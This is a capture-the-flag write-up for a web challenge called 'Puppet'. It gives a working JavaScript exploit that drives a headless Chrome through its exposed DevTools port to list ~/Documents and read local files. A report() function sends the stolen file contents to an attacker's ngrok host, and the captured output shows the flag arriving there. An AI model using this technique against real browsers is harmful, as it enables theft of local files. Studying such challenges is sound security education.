# Puppet

The flag has a random name in ~/Documents \  
Pwn my browser >:)

```javascript  
const browser = await puppeteer.launch({  
dumpio: true,  
args: [  
'--disable-web-security',  
'--user-data-dir=/tmp/chrome',  
'--remote-debugging-port=5000',  
'--disable-dev-shm-usage', // Docker stuff  
'--js-flags=--jitless' // No Chrome n-days please  
]  
})  
```

Challenge: http://35.225.84.51

Attachments: `puppet.zip`

## Solution

TLDR:  
> Abuse [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-
> protocol/)  
> as used
> [here](https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark)  
> to list directories and read arbitrary files.

We have to read  
`file:///home/inmate/Documents/flag_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt`.

```javascript  
const browser = await puppeteer.launch({  
args: [  
'--disable-dev-shm-usage',  
'--disable-web-security',  
'--user-data-dir=/tmp/chrome',  
'--remote-debugging-port=5000'  
]  
})  
```

The DevTools port is usually randomized but for this challenge it's fixed to  
5000 so we don't have to do any painful port scanning.

Also we have `--disable-web-security`, which means Same-Origin Policy and CSP  
are all out the window. However, `file:///` URLs are still protected.

Solution:  
\- Use the DevTools protocol to open `file:///home/inmate/Documents` and fetch  
`document.body.textContent` through the WebSocket  
\- Parse the HTML to get the filename of the flag, then use the same technique  
to read the file contents.

Caveats:  
\- Headless chrome chokes on `file:///` URLs that list directories, as
mentioned  
[here](https://github.com/puppeteer/puppeteer/issues/5737)  
\- Workaround is to first do `view-source:file:///home/inmate/Documents` then  
`document.body.textContent`

My solution:

```javascript  
const selfURL = "http://db7ec431f10a.ngrok.io";

function sleep(ms) {  
return new Promise((resolve) => setTimeout(resolve, ms));  
}

function report(data) {  
fetch(`${selfURL}/${encodeURIComponent(data)}`);  
}

async function openPage(url) {  
const baseUrl = "http://localhost:5000";  
const devtoolsURL = `${baseUrl}/json/new?${encodeURIComponent(url)}`;  
const res = await fetch(devtoolsURL);  
const data = await res.json();  
await sleep(500); // Wait for the page to finish loading  
return data.webSocketDebuggerUrl;  
}

function wsPromise(wsURL, onopen) {  
return new Promise((resolve, reject) => {  
window.ws = new WebSocket(wsURL);

ws.onerror = (e) => {  
report("[ws.onerror] " + JSON.stringify(e));  
reject(e);  
};

ws.onmessage = (e) => { resolve(e); };  
ws.onopen = () => ws.send(onopen);  
});  
}

const documentsDir = "file:///home/inmate/Documents";

(async () => {  
var wsURL = await openPage("http://example.com");

var res = await wsPromise(  
wsURL,  
JSON.stringify({  
id: 0,  
method: "Page.navigate",  
params: {  
url: `view-source:${documentsDir}`,  
},  
})  
);  
console.log("[Page.navigate]");  
console.log(res);

var res = await wsPromise(  
wsURL,  
JSON.stringify({  
id: 0,  
method: "Runtime.evaluate",  
params: { expression: "document.body.textContent" },  
})  
);  
console.log("[Runtime.evaluate]");  
console.log(res);

var html = JSON.parse(res.data).result.result.value;  
console.log("[html]")  
console.log(html)

var doc = new DOMParser().parseFromString(html, "text/html");  
var scripts = Array.from(doc.querySelectorAll("script"));

// On non-headless chrome, this should be 5  
var fileScripts = scripts.slice(2);

var filenames = fileScripts.map(  
(x) => x.text.match(/addRow\\("(?<filename>.*?)".*/).groups.filename  
);

console.log("[filenames]")  
console.log(filenames);

for (const filename of filenames) {  
var wsURL = await openPage(`${documentsDir}/${filename}`);  
var res = await wsPromise(  
wsURL,  
JSON.stringify({  
id: 0,  
method: "Runtime.evaluate",  
params: { expression: "document.body.textContent" },  
})  
);  
console.log("[Runtime.evaluate]");  
console.log(res);  
var file = JSON.parse(res.data).result.result.value  
report(`[${filename}] ${file}`);  
}  
})();  
```

Output:  
```  
HTTP Requests  
\-------------

GET /[flag_4835141fe1031b2cfece2f5ef524e1a1.txt]
CCC{1f_0nly_th3r3_w4s_X55_0n_th3_d3vt00ls_p4g3} 404 File not found  
GET /main.js 200 OK  
GET / 200 OK  
```  

Original writeup
(https://github.com/qxxxb/ctf_challenges/blob/master/2021/ccc/web/puppet/solve).